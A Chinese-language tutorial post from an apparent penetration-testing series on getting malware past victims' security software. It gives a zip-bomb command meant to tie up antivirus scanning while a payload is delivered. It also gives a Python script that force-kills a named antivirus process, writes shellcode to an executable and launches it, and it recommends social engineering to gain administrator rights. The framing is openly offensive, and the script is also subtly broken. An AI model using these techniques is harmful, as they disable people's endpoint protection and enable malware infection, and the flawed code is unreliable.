客户端渗透测试练习(插曲2:规避客户端安全软件)
#0:一些失败的尝试
我们的exploit可以说是完全没有伪装性,无法躲避客户端安全软件的检测,至少无法躲避一些安全意识较高的用户的软件检测(比如笔者自己的电脑把之前大部分的exploit都识别为恶意代码,然后就给删了),所以我们要研究一下这方面的东西。
但是,我们不走寻常路,现在大部分的规避检测的措施无非就是加密或者进行编码混淆(其实也可以发布源码,一般安全软件会把大部分编程语言的源码(如.py、.ruby、.php等等,当然无需编译或者可以直接执行的肯定不是这样,如.cmd、.vbs、.bat(针对Windows)和.sh(针对Linux)等等)识别为文本文件),这些的教程网上很多,所以不在我们的讨论范围内。这些方法从根本上讲都是让安全软件不把恶意代码识别为恶意的,那么有没有更极端一点的方法呢?肯定有,一种是让安全软件无法工作,趁机进行破坏,一种是直接让安全软件停止工作,然后动态生成恶意文件。肯定会有人问,这两个有什么区别?下面就会讲到。
#1:让安全软件无法工作
这种方法主要是通过短时间内让被害者的安全软件需要处理大量数据,然后趁此机会将恶意代码搞到被害者的电脑上并运行,安全软件来不及处理新的东西,就达到的我们的目的。这种方法主要是通过一种叫做ZipBomb(压缩文件炸弹)的技术。
#0:ZipBomb
随便百度一下就能知道这是什么,简单来说,就是把大量重复的数据通过压缩来使其体积大大缩小,所以只需要很小的空间就能储存下来,但是安全软件遍历压缩目录的时候就会遇到问题,因为原体积太大,所以需要相当长的时间才能处理完,则这段时间就是我们的攻击时间。同样,如果你把它全部解压出来,那么会占用相当大的磁盘空间。
#1:准备工具
GitHub上的这个项目就是一个例子,该项目可以生成简易的ZipBomb,用法参照GitHub的自述文件。
#2:初步尝试
笔者做的第一个ZipBomb的参数如下
mkzbomb test.zip --layer 10 --cps 50 --size 10240
以上命令将创建一个单文件10MB,每层50个文件,迭代10层,相当于解压出来有50^10个文件,每个文件10M,大约有10^15GB那么大。所以安全软件要处理那么多的数据需要花费很长的时间,而这足以让我们发起攻击。
#3:使用
这种方法其实主要用于网络攻击,就是先发送大量数据使客户端或客户端安全软件崩溃,然后再发送恶意代码。
例如,我们可以使用php的header()来发送数据,然后用metasploit生成Java小程序来利用浏览器漏洞进行攻击。
#2:让安全软件停止工作
顾名思义,就是直接将安全软件的进程kill掉。但是这个需要配合权限提升漏洞使用,不然杀不掉安全软件进程,或者也可以利用社会工程学,让被害者用管理员权限运行代码。
但是,有点麻烦,这种情况只适用于了解对方的电脑上运行着什么安全软件的情况(即有明确的攻击目标,而不是像我们之前那样随便哪个人只要访问了恶意网页或下载了恶意代码就会受到攻击),然后定向攻击。
编写exploit.py如下
import os def kill(name): if os.name == 'nt': cmd = 'taskkill /f /t /im ' + name try: os.system(cmd) print(pid, 'killed') except: pass kill('XXX.exe') with open('attk.exe') as f: f.write('*shellcode*') os.system('start attk.exe')
这里的XXX.exe为目标主机上运行的安全软件的进程名(可能不是exe结尾,这里只是一个示范),attk.exe(不一定是exe,也别的可以运行的文件如bat、py、vbs等)是我们的攻击文件,这里由程序生成,*shellcode*是你要执行的东西(可能是代码,也可能是二进制数据,取决于你前面用的什么攻击文件类型),创建完成后会自动启动。
这个exploit必须有管理员权限,也就是必须让用户觉得这个东西有足够诱惑让他们冒风险以管理员权限运行,所以还是需要搭配社会工程学。
这里讲了两种非常规的绕过安全检测的方法,虽然并不简便或容易操作,但是基本上行之有效。